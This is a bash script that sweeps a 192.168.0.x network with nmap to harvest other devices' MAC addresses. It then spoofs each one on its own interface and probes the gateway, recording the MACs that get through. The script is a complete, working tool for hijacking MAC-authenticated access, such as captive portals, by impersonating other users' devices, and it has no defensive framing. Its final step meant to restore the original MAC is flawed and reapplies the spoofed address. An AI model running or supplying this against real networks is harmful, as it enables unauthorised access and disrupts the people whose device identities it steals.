#!/usr/bin/bash # check for deps deps=("nmap" "grep" "awk") for dep in "${deps[@]}"; do if ! which "$dep" &> /dev/null; then echo "ERROR: The dependency '$dep' is not installed" exit fi done macs_file="macs.txt" succ_file="tasty-macs.txt" interface=$(ip route get 8.8.8.8 | awk '{print $5}') # usually wlp2s0 timeperiod=$((20)) # timeperiod=$((60 * 60 * 3)) function log { printf "\033[0;33m%s\033[0m $1" "$(date '+%b %d %T')" } function get_macs { while true; do n=0 while read -r addr; do if ! grep -qF -- "$addr" "$macs_file" &> /dev/null; then echo "$addr" >> "$macs_file" n=$((n+1)) fi done <<< $(nmap -sn 192.168.0.* | awk '/^MAC Address:/{print $3}') ((n > 0)) && log "Wrote $n new addresses to $macs_file\n" || true done } function set_ip_address { ip link set dev "$interface" down ip link set dev "$interface" address "$1" ip link set dev "$interface" up sleep 2 } function taste_macs { while read -r addr; do set_ip_address "$addr" response=$(curl -s -o /dev/null -w "%{http_code}" --connect-timeout 5 192.168.0.1) if [[ "$response" == "200" ]]; then if ! grep -qF -- "$addr" "$succ_file" &> /dev/null; then echo "$addr" >> "$succ_file" log "Wrote '$addr' to $succ_file" fi fi done < "$macs_file" set_ip_address "$(ip link show "$interface" | awk '/link\/ether/{print $6}')" } while true; do get_macs & sleep "$timeperiod"; kill $! taste_macs done